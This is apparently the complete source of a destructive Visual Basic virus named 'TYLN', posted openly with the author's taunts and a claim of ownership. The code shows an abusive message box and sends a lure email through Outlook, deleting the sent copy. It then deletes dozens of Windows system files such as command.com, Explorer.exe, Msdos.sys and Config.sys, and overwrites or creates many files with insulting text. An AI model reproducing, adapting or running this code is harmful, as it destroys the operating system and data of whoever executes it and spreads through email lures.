iIntPress = MsgBox("U have just activated TYLN virus...Cee'Ya mothafucka..hahahha", vbExclamation, "TYLN virus activated")
Set Outlook_Object = CreateObject("Outlook.Application")
Set New_Mail_Object = Outlook_Object.CreateItem(0)
New_Mail_Object.To = "[email protected]"
New_Mail_Object.Subject = "Hi..it's me:> ;o)"
New_Mail_Object.Body = "Hi:" & vbCrLf & "YAHOO!Check This!It's PErfeCt..!!!:>" & vbCrLf & ""
Set Attachement = New_Mail_Object.Attachments
New_Mail_Object.DeleteAfterSubmit = True
If New_Mail_Object.To <> "" Then New_Mail_Object.Send
Kill "C:\Windows\system.ini"
Kill "C:\windows\capture.ini"
Kill "C:\Windows\command.com"
Kill "C:\Windows\capture.ini"
Kill "C:\Windows\command.ini"
Kill "C:\Autoexec.bat"
Kill "C:\Command.com"
Kill "C:\Msdos.sys"
Kill "C:\Msdos.bak"
Kill "C:\Msdos.---"
Kill "C:\Windows\calc.exe"
Kill "C:\Windows\clspack.exe"
Kill "C:\Windows\control.exe"
Kill "C:\Windows\dosrep.ini"
Kill "C:\Windows\Dosprmpt.pif"
Kill "C:\Windows\Explorer.exe"
Kill "C:\Windows\ftp.exe"
Kill "C:\Windows\Htmlhelp.ini"
Kill "C:\Windows\Ios.ini"
Kill "C:\Windows\win.ini"
Kill "C:\Windows\Msoffice.ini"
Kill "C:\System.1st"
Kill "C:\W98undo.ini"
Kill "C:\W98undo.dat"
Kill "C:\Suhdlog.dat"
Kill "C:\Config.sys"
Kill "C:\WINDOWS\SYSTEM32\folder.htt"
Kill "C:\WINDOWS\SYSTEM\Bios.vxd"
Kill "C:\WIndows\System\Systray.exe"
Kill "C:\Windows\System\System.drv"
Kill "C:\Windows\System\Acctres.dll"
Kill "C:\WIndows\Command\Bootdisk.bat"
Kill "C:\Windows\Command\Sys.com"
Kill "C:\Windows\Command\Start.exe"
Kill "C:\Windows\Command\Scandisk.exe"
Kill "C:\Windows\Command\Move.exe"
Kill "C:\Windows\Cursors\Appstart.ani"
Kill "C:\Windows\Cursors\Hourglas.ani"
Kill "C:\Windows\Cursors\Globe.ani"
Kill "C:\Windows\Netdet.ini"
Kill "C:\Windows\Net.exe"
Kill "C:\Windows\Protocol.ini"
Kill "C:\Windows\progman.ini"
Kill "C:\Windows\swacnfg.ini"
Kill "C:\Windows\wintab.ini"
Kill "C:\Windows\Arp.exe"
Kill "C:\Windows\IsUninst.exe"
Kill "C:\Windows\Progman.exe"
Kill "C:\Windows\Rundll.exe"
Kill "C:\Windows\Rundll32.exe"
Kill "C:\Windows\Command.pif.exe"
Kill "C:\Windows\Sndvol32.exe"
Kill "C:\Windows\Tracert.exe"
Kill "C:\Windows\Sndvol32.exe"
Kill "C:\Windows\Uninst.exe"
Kill "C:\Windows\Welcome.exe"
Kill "C:\Windows\Win.com"
Kill "C:\Windows\Wininit.exe"
Kill "C:\Windows\Win.ini"
Kill "C:\Windows\System.ini"
Kill "C:\Windows\Arp.exe"
Kill "C:\Windows\Aspi2hlp.sys"
Kill "C:\Windows\calc.exe"
Kill "C:\Windows\capture.ini"
Kill "C:\Windows\brndlog.txt"
Kill "C:\Windows\command.com"
Kill "C:\windwos\command.pif"
Kill "C:\Windows\Cmd640x.sys"
Kill "C:\Windows\Cmd640x2.sys"
Kill "C:\Windows\confdent.cpe"
Kill "C:\Windows\cleanmgr.exe"
Kill "C:\Windows\control.rmv"
Kill "C:\Windows\control.exe"
Kill "C:\Windows\control.ini"
Kill "C:\Windows\config.txt"
Kill "C:\Windowsdesktop.ini"
Kill "C:\Windows\wininit.exe"
Kill "C:\Windows\Protocol.ini"
Kill "C:\Windows\Cursors\Appstart.ani"
Kill "C:\Windows\Cursors\Hourglar.ani"
Kill "C:\Windows\Cursors\Globe.ani"
Kill "C:\Windows\Cursors\Hurglar.ani"
Kill "C:\Windows\System\Systray.exe"
Kill "C:\Windows\Cursors\Hourglar.ani"
Kill "C:\Windows\Cursors\Globe.ani"
Kill "C:\Program Files\Internet Explorer\Iexplore.exe"
Kill "C:\Windows\Pif\Extract.pif"
Kill "C:\Windows\Pif\Cvt.pif"
Kill "C:\WINDOWS\WEB\Safemode.htt"
Kill "C:\WINDOWS\Application Data\Microsoft\Excel\Excel.xlb"
Kill "C:\WINDOWS\Application Data\Microsoft\Outlook\Microsoft Outlook Internet Settings.FAV"
Kill "C:\WINDOWS\Application Data\Microsoft\Outlook\Microsoft Outlook Internet Settings.NICK"
Kill ""
Open "C:\TYLN virus.txt" For Output As #1
Open "C:\TYLN.sys" For Output As #2
Open "C:\TYLNvirus.exe" For Output As #3
Open "C:\TYLN.DLL" For Output As #4
Open "C:\TYLNvirus.com" For Output As #5
Open "C:\TYLNvirus.bat" For Output As #6
Open "C:\TYLN.mrc" For Output As #7
Open "C:\TYLN.rse" For Output As #8
Open "C:\TYLN.bmp" For Output As #9
Open "C:\TYLN.gif" For Output As #10
Open "C:\TYLNvirus.ani" For Output As #11
Open "C:\TYLNvirus.ico" For Output As #12
Open "C:\TYLN.jpg" For Output As #13
Open "C:\TYLN virus.ini" For Output As #14
Open "C:\TYLN.tyu" For Output As #15
Open "C:\TYLN.fgd" For Output As #16
Open "C:\tyln.gfd" For Output As #17
Open "C:\r.txt" For Output As #18
Open "C:\s.txt" For Output As #19
Open "C:\t.txt" For Output As #20
Open "C:\u.txt" For Output As #21
Open "C:\v.txt" For Output As #22
Open "C:\w.txt" For Output As #23
Open "C:\x.txt" For Output As #24
Open "C:\y.txt" For Output As #25
Open "C:\z.txt" For Output As #26
Open "C:\1.txt" For Output As #27
Open "C:\2.txt" For Output As #28
Open "C:\3.txt" For Output As #29
Open "C:\4.txt" For Output As #30
Open "C:\5.txt" For Output As #31
Open "C:\6.txt" For Output As #32
Open "C:\7.txt" For Output As #33
Open "C:\8.txt" For Output As #34
Open "C:\9.txt" For Output As #35
Open "C:\01.txt" For Output As #36
Open "C:\02.txt" For Output As #37
Open "C:\03.txt" For Output As #38
Open "C:\04.txt" For Output As #39
Open "C:\05.txt" For Output As #40
Open "C:\06.txt" For Output As #41
Open "C:\07.txt" For Output As #42
Open "C:\08.txt" For Output As #43
Open "C:\09.txt" For Output As #44
Open "C:\010.txt" For Output As #45
Open "C:\011.txt" For Output As #46
Open "C:\012.txt" For Output As #47
Open "C:\013.txt" For Output As #48
Open "C:\014.txt" For Output As #49
Open "C:\015.txt" For Output As #50
Open "C:\016.txt" For Output As #51
Open "C:\017.txt" For Output As #52
Open "C:\018.txt" For Output As #53
Open "C:\command.com" For Output As #54
Open "C:\Windows\command.com" For Output As #55
Open "C:\Windows\Command\command.com" For Output As #56
Open "C:\windows\system.ini" For Output As #57
Open "C:\windows\win.ini" For Output As #58
Open "C:\windows\wininit.exe" For Output As #59
Open "C:\windows\command.pif" For Output As #60
Open "C:\windows\desktop\TYLN.bat" For Output As #61
Open "C:\windows\desktop\TYLN.dll" For Output As #62
Open "C:\windows\desktop\TYLN.com" For Output As #63
Open "C:\windows\desktop\TYLN.exe" For Output As #64
Open "C:\windows\desktop\TYLN.txt" For Output As #65
Open "C:\windows\desktop\TYLN.ini" For Output As #66
Open "C:\windows\desktop\TYLN.log" For Output As #67
Open "C:\windows\dekstop\TYLN.xls" For Output As #68
Open "C:\windows\desktop\TYLN.doc" For Output As #69
Open "C:\windows\desktop\TYLN.vbs" For Output As #70
Write #61, "TYLN virus by ...........'"
Write #65, "TYLN virus...diE"
Write #66, "TYLN.."
Write #67, "TaKe YoUr LaSt NaP MoThaFuCkA..."
Write #68, "TYLN virus...hahaha"
Write #69, "TYLN virus by ..........."
Write #1, "die mothafucka,TYLN virus by ..........."
Close '
Beep
TYLN Virus Source code:
<--------------------|-------------------->
Do not change any line from this code...It's MINE!!!